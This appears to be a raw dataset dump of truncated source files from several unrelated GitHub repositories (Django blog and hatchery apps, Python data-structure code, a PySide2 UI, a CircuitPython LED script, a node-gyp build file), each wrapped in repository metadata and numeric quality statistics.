] | 2 | 2019-04-19T15:38:36.000Z | 2019-10-11T13:03:43.000Z | Zeras/data_paral_batcher.py | Li-Ming-Fan/Zeras | c10321f2e7019470d0887c817a1d00f5f45601a4 | [
"MIT"
] | null | null | null | Zeras/data_paral_batcher.py | Li-Ming-Fan/Zeras | c10321f2e7019470d0887c817a1d00f5f45601a4 | [
"MIT"
] | null | null | null | # Copyright 2016 The TensorFlow Authors. All Rights Reserved.
# Modifications Copyright 2017 Abigail See
# Modifications Copyright 2018 Ming-Fan Li
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the Licens... | 36.38843 | 111 | 0.545764 | 968 | 8,806 | 4.674587 | 0.204545 | 0.053702 | 0.030939 | 0.025193 | 0.347403 | 0.306961 | 0.271602 | 0.224751 | 0.17989 | 0.118011 | 0 | 0.008661 | 0.370656 | 8,806 | 241 | 112 | 36.539419 | 0.807831 | 0.148649 | 0 | 0.235714 | 0 | 0 | 0.04859 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.05 | false | 0.092857 | 0.035714 | 0 | 0.121429 | 0.057143 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
ffdd570739fee95ff4030c38dccc371b61d948be | 1,075 | py | Python | post/views.py | WIZeaz/WIZBlog | ce9d92bf1d8f1cac4da08fc6b18b678f1f0a46e8 | [
"MIT"
] | null | null | null | post/views.py | WIZeaz/WIZBlog | ce9d92bf1d8f1cac4da08fc6b18b678f1f0a46e8 | [
"MIT"
] | null | null | null | post/views.py | WIZeaz/WIZBlog | ce9d92bf1d8f1cac4da08fc6b18b678f1f0a46e8 | [
"MIT"
] | null | null | null | from django.shortcuts import render,get_object_or_404
from django.http import HttpResponse,Http404
from .models import *
from config import config
import json
# Create your views here.
def showPostIndex(request):
posts=Post.objects.all()
query={}
f=request.GET.get('category',None)
if (f):
print(... | 28.289474 | 102 | 0.67907 | 148 | 1,075 | 4.851351 | 0.391892 | 0.041783 | 0.030641 | 0.038997 | 0.114206 | 0.077994 | 0 | 0 | 0 | 0 | 0 | 0.016835 | 0.171163 | 1,075 | 37 | 103 | 29.054054 | 0.789001 | 0.031628 | 0 | 0.066667 | 0 | 0 | 0.155256 | 0 | 0 | 0 | 0 | 0.027027 | 0 | 1 | 0.1 | false | 0.033333 | 0.166667 | 0 | 0.333333 | 0.066667 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
ffe1b0c492cf542982e4096bae611f5a2e5af1c4 | 1,567 | py | Python | CHAPTER 10 (maps, hash tables and skip lists)/unsorted_table_map.py | ahammadshawki8/Data-Structures-Algorithms-in-Python- | fc18b54128cd5bc7639a14999d8f990190b524eb | [
"MIT"
] | null | null | null | CHAPTER 10 (maps, hash tables and skip lists)/unsorted_table_map.py | ahammadshawki8/Data-Structures-Algorithms-in-Python- | fc18b54128cd5bc7639a14999d8f990190b524eb | [
"MIT"
] | null | null | null | CHAPTER 10 (maps, hash tables and skip lists)/unsorted_table_map.py | ahammadshawki8/Data-Structures-Algorithms-in-Python- | fc18b54128cd5bc7639a14999d8f990190b524eb | [
"MIT"
] | null | null | null | from map_base_class import *
class UnsortedTableMap(MapBase):
"""Map implementation using an unordered list."""
def __init__(self):
"""Create an empty map."""
self._table = [] # list of _Items
def __getitem__(self,k):
"""Return value associated with key.
Ra... | 32.645833 | 74 | 0.517549 | 187 | 1,567 | 4.101604 | 0.347594 | 0.105606 | 0.035202 | 0.050847 | 0.235984 | 0.212516 | 0.148631 | 0.073012 | 0.073012 | 0 | 0 | 0 | 0.384174 | 1,567 | 47 | 75 | 33.340426 | 0.794819 | 0.289726 | 0 | 0.346154 | 0 | 0 | 0.021256 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.230769 | false | 0 | 0.038462 | 0 | 0.461538 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
ffe204fecc0b50675d3848bda0f5209c9e1d774b | 913 | py | Python | ui/SimpleUI.py | crystalsu2008/PyQt_To_Maya-2016-2017 | 9270797780c0e6c5bd8d095188bf6b58772ee6ef | [
"MIT"
] | 1 | 2021-08-23T22:15:10.000Z | 2021-08-23T22:15:10.000Z | ui/SimpleUI.py | crystalsu2008/PyQt_To_Maya-2016-2017 | 9270797780c0e6c5bd8d095188bf6b58772ee6ef | [
"MIT"
] | null | null | null | ui/SimpleUI.py | crystalsu2008/PyQt_To_Maya-2016-2017 | 9270797780c0e6c5bd8d095188bf6b58772ee6ef | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
# Form implementation generated from reading ui file 'C:\Users\Administrator\Documents\DEV\PyQt_To_Maya-2016-2017\ui\SimpleUI.ui'
#
# Created: Tue Sep 06 09:54:58 2016
# by: pyside2-uic running on PySide2 2.0.0~alpha0
#
# WARNING! All changes made in this file will be lost!
from PySide2 ... | 28.53125 | 129 | 0.690033 | 118 | 913 | 5.228814 | 0.661017 | 0.077796 | 0.051864 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.047233 | 0.18839 | 913 | 31 | 130 | 29.451613 | 0.785425 | 0.317634 | 0 | 0 | 1 | 0 | 0.047154 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.117647 | false | 0 | 0.117647 | 0 | 0.294118 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
ffe2f1cbbabf698782ccee7f30ecf46dd0b8464c | 10,413 | py | Python | apps/hatchery/models.py | kngeno/telelbirds | 924bb2f1c397bbab2bd626d582c8e86704d86176 | [
"MIT"
] | 2 | 2021-01-05T06:16:32.000Z | 2021-09-09T10:42:53.000Z | apps/hatchery/models.py | kngeno/telelbirds | 924bb2f1c397bbab2bd626d582c8e86704d86176 | [
"MIT"
] | null | null | null | apps/hatchery/models.py | kngeno/telelbirds | 924bb2f1c397bbab2bd626d582c8e86704d86176 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
#########################################################################
#
# Copyright (C) 2020: TelelBirds
#
#
#########################################################################
from __future__ import unicode_literals
import os
import datetime
from django.core.validators import MaxValu... | 35.906897 | 153 | 0.691443 | 1,236 | 10,413 | 5.659385 | 0.126214 | 0.065189 | 0.074339 | 0.092352 | 0.628449 | 0.628449 | 0.602001 | 0.553967 | 0.508792 | 0.383417 | 0 | 0.01022 | 0.182464 | 10,413 | 290 | 154 | 35.906897 | 0.811465 | 0.02228 | 0 | 0.438356 | 0 | 0 | 0.075199 | 0.006965 | 0 | 0 | 0 | 0 | 0 | 1 | 0.063927 | false | 0 | 0.063927 | 0.045662 | 0.579909 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
ffe65240ac6c7bfaa87e4696658cad79e9db867c | 339 | py | Python | skytour/skytour/apps/utils/migrations/0005_alter_objecttype_options.py | ursomniac/skytour | 3320d96d7ca41b8f52ede87e7112477902a37a0e | [
"MIT"
] | null | null | null | skytour/skytour/apps/utils/migrations/0005_alter_objecttype_options.py | ursomniac/skytour | 3320d96d7ca41b8f52ede87e7112477902a37a0e | [
"MIT"
] | 1 | 2022-03-17T01:19:23.000Z | 2022-03-17T01:19:23.000Z | skytour/skytour/apps/utils/migrations/0005_alter_objecttype_options.py | ursomniac/skytour | 3320d96d7ca41b8f52ede87e7112477902a37a0e | [
"MIT"
] | null | null | null | # Generated by Django 3.2.9 on 2021-11-18 02:30
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('utils', '0004_objecttype'),
]
operations = [
migrations.AlterModelOptions(
name='objecttype',
options={'ordering': ['name']}... | 18.833333 | 47 | 0.581121 | 33 | 339 | 5.939394 | 0.818182 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.078838 | 0.289086 | 339 | 17 | 48 | 19.941176 | 0.73444 | 0.132743 | 0 | 0 | 1 | 0 | 0.143836 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.090909 | 0 | 0.363636 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
ffef8c8c170be0e79ee9530b5e83353fc71fb0bc | 2,158 | py | Python | gather_vision/migrations/0003_alter_petitionchange_options_and_more.py | anotherbyte-net/gather-vision | c86aff76dbe698fea1eae9d93c42e65ccfd5ba99 | [
"Apache-2.0"
] | null | null | null | gather_vision/migrations/0003_alter_petitionchange_options_and_more.py | anotherbyte-net/gather-vision | c86aff76dbe698fea1eae9d93c42e65ccfd5ba99 | [
"Apache-2.0"
] | 1 | 2021-12-23T12:28:14.000Z | 2021-12-23T12:28:14.000Z | gather_vision/migrations/0003_alter_petitionchange_options_and_more.py | anotherbyte-net/gather-vision | c86aff76dbe698fea1eae9d93c42e65ccfd5ba99 | [
"Apache-2.0"
] | null | null | null | # Generated by Django 4.0 on 2021-12-11 00:22
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('gather_vision', '0002_initial'),
]
operations = [
migrations.AlterModelOptions(
name='petitioncha... | 38.535714 | 194 | 0.629286 | 207 | 2,158 | 6.381643 | 0.391304 | 0.054504 | 0.0757 | 0.087812 | 0.450416 | 0.341408 | 0.295231 | 0.295231 | 0.234671 | 0.08327 | 0 | 0.014953 | 0.256256 | 2,158 | 55 | 195 | 39.236364 | 0.8081 | 0.019926 | 0 | 0.469388 | 1 | 0 | 0.26408 | 0.079981 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.040816 | 0 | 0.102041 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
fff0bba2f52107836929c917bc7c68690f5da8f8 | 391 | py | Python | CircuitPython/CPX random colours all led.py | dsssssssss9/AdaFruit-Circuit-Playground-Express | 97a45268c0a49a849371cafb282ed1bbf7825bdd | [
"CC0-1.0"
] | null | null | null | CircuitPython/CPX random colours all led.py | dsssssssss9/AdaFruit-Circuit-Playground-Express | 97a45268c0a49a849371cafb282ed1bbf7825bdd | [
"CC0-1.0"
] | null | null | null | CircuitPython/CPX random colours all led.py | dsssssssss9/AdaFruit-Circuit-Playground-Express | 97a45268c0a49a849371cafb282ed1bbf7825bdd | [
"CC0-1.0"
] | null | null | null | # Flash ALL built in LED random colours
# random interval 0 - 0.5 seconds between each set colours
import time
import board
from random import randint, uniform
import neopixel
np = neopixel.NeoPixel(board.NEOPIXEL, 10, brightness=.02)
while True:
for Loop in range(10):
np[Loop] = (randint(0, 255), randint(0... | 30.076923 | 70 | 0.703325 | 62 | 391 | 4.435484 | 0.532258 | 0.087273 | 0.12 | 0.130909 | 0.12 | 0.12 | 0 | 0 | 0 | 0 | 0 | 0.075235 | 0.184143 | 391 | 12 | 71 | 32.583333 | 0.786834 | 0.240409 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.4 | 0 | 0.4 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
fff68f1a254a852fc65d03e3654763340536552c | 8,024 | py | Python | perception/mil_vision/mil_vision_tools/image_mux.py | marcgabe15/mil_common | 75fd308365f4b2754874add917e0a0151b39b924 | [
"MIT"
] | 27 | 2020-02-17T21:54:09.000Z | 2022-03-18T17:49:23.000Z | perception/mil_vision/mil_vision_tools/image_mux.py | marcgabe15/mil_common | 75fd308365f4b2754874add917e0a0151b39b924 | [
"MIT"
] | 325 | 2019-09-11T14:13:56.000Z | 2022-03-31T00:38:30.000Z | perception/mil_vision/mil_vision_tools/image_mux.py | marcgabe15/mil_common | 75fd308365f4b2754874add917e0a0151b39b924 | [
"MIT"
] | 24 | 2019-09-16T00:29:45.000Z | 2022-03-06T10:56:38.000Z | #!/usr/bin/env python
from __future__ import division
import numpy as np
import cv2
__author__ = 'Kevin Allen'
class ImageMux(object):
'''
Utility to create a customizable square grid of images, with labels and borders,
which will generate a single image from the grid at any time. Useful for
combinin... | 48.337349 | 119 | 0.61179 | 1,189 | 8,024 | 4.017662 | 0.23381 | 0.022608 | 0.027632 | 0.013607 | 0.160561 | 0.099644 | 0.046891 | 0.027632 | 0 | 0 | 0 | 0.032269 | 0.277792 | 8,024 | 165 | 120 | 48.630303 | 0.792062 | 0.082502 | 0 | 0.041667 | 0 | 0 | 0.041873 | 0 | 0 | 0 | 0 | 0 | 0.052083 | 0 | null | null | 0 | 0.041667 | null | null | 0.010417 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
fffadd8dad62d4c93f4c4df9534cb659bd57253e | 1,351 | gyp | Python | binding.gyp | breeswish/knit_decoder | 4c71f8e4dcde644069d0c8ae3b526ad66c54f538 | [
"MIT"
] | 1 | 2018-12-13T14:45:29.000Z | 2018-12-13T14:45:29.000Z | binding.gyp | breeswish/knit_decoder | 4c71f8e4dcde644069d0c8ae3b526ad66c54f538 | [
"MIT"
] | null | null | null | binding.gyp | breeswish/knit_decoder | 4c71f8e4dcde644069d0c8ae3b526ad66c54f538 | [
"MIT"
] | null | null | null | {
"targets": [
{
"target_name": "knit_decoder",
"sources": ["src/main.cpp", "src/context.hpp", "src/worker.hpp"],
"include_dirs" : [
"<!(node -e \"require('nan')\")"
],
"cflags_cc!": ["-fno-rtti", "-fno-exceptions"],
"cflags!": ["-fno-exceptions", "-Wall", "-std=c++11"]... | 25.018519 | 71 | 0.393042 | 101 | 1,351 | 5.079208 | 0.554455 | 0.087719 | 0.077973 | 0.074074 | 0.269006 | 0.269006 | 0.269006 | 0.269006 | 0.269006 | 0.269006 | 0 | 0.004914 | 0.397483 | 1,351 | 53 | 72 | 25.490566 | 0.625307 | 0 | 0 | 0.415094 | 0 | 0 | 0.450037 | 0.083642 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
08018c71bc1555f6edf084178a463e89d95b36b6 | 917 | py | Python | 6-python-files/2-files-context-manager.py | saidulislam/Python-Experiment | 0f63e0e6682b7a4d09f01a60adc926de2111e930 | [
"Apache-2.0"
] | null | null | null | 6-python-files/2-files-context-manager.py | saidulislam/Python-Experiment | 0f63e0e6682b7a4d09f01a60adc926de2111e930 | [
"Apache-2.0"
] | null | null | null | 6-python-files/2-files-context-manager.py | saidulislam/Python-Experiment | 0f63e0e6682b7a4d09f01a60adc926de2111e930 | [
"Apache-2.0"
] | null | null | null | # always having to close the file after we're done working with it is a little tedious.
# Because this is something we have to do every single time we open a file,
# Python gives us a handy tool called a context manager, which handles these repetitive actions for us.
import os, sys
# read file
with open(os.path.join... | 35.269231 | 103 | 0.721919 | 161 | 917 | 4.055901 | 0.428571 | 0.101072 | 0.061256 | 0.085758 | 0.217458 | 0.217458 | 0.217458 | 0.217458 | 0.217458 | 0.217458 | 0 | 0.010296 | 0.152672 | 917 | 25 | 104 | 36.68 | 0.830116 | 0.502726 | 0 | 0 | 0 | 0 | 0.331081 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.142857 | 0 | 0.142857 | 0.142857 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
0808ee27269149203d1543fcab01c4ec7dca836c | 269 | py | Python | tests/runtests.py | seaeast/momoko | ea4d79a75d1d1afeeeee958e8b6509416bf04614 | [
"MIT"
] | 1 | 2016-07-13T11:09:11.000Z | 2016-07-13T11:09:11.000Z | tests/runtests.py | seaeast/momoko | ea4d79a75d1d1afeeeee958e8b6509416bf04614 | [
"MIT"
] | null | null | null | tests/runtests.py | seaeast/momoko | ea4d79a75d1d1afeeeee958e8b6509416bf04614 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
import unittest
TEST_MODULES = [
'async_client',
'blocking_client'
]
def all():
return unittest.defaultTestLoader.loadTestsFromNames(TEST_MODULES)
if __name__ == '__main__':
import tornado.testing
tornado.testing.main()
| 14.157895 | 70 | 0.710037 | 29 | 269 | 6.172414 | 0.724138 | 0.122905 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.178439 | 269 | 18 | 71 | 14.944444 | 0.809955 | 0.074349 | 0 | 0 | 0 | 0 | 0.141129 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.1 | false | 0 | 0.2 | 0.1 | 0.4 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
0821b7705f34c2c456b82cff2665c77814937fa4 | 395 | py | Python | site_app/migrations/0022_auto_20190705_1549.py | Nigar-mr/Freelancer | a4596c7b8de904035289c2ee7524752d89b0a88b | [
"MIT"
] | null | null | null | site_app/migrations/0022_auto_20190705_1549.py | Nigar-mr/Freelancer | a4596c7b8de904035289c2ee7524752d89b0a88b | [
"MIT"
] | 11 | 2020-02-12T00:53:43.000Z | 2022-02-10T08:22:57.000Z | site_app/migrations/0022_auto_20190705_1549.py | Nigar-mr/Freelancer | a4596c7b8de904035289c2ee7524752d89b0a88b | [
"MIT"
] | null | null | null | # Generated by Django 2.2.3 on 2019-07-05 15:49
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('site_app', '0021_auto_20190705_1517'),
]
operations = [
migrations.AlterField(
model_name='footermodel',
name='copyr... | 20.789474 | 50 | 0.607595 | 43 | 395 | 5.44186 | 0.837209 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.116197 | 0.281013 | 395 | 18 | 51 | 21.944444 | 0.707746 | 0.113924 | 0 | 0 | 1 | 0 | 0.146552 | 0.066092 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.083333 | 0 | 0.333333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.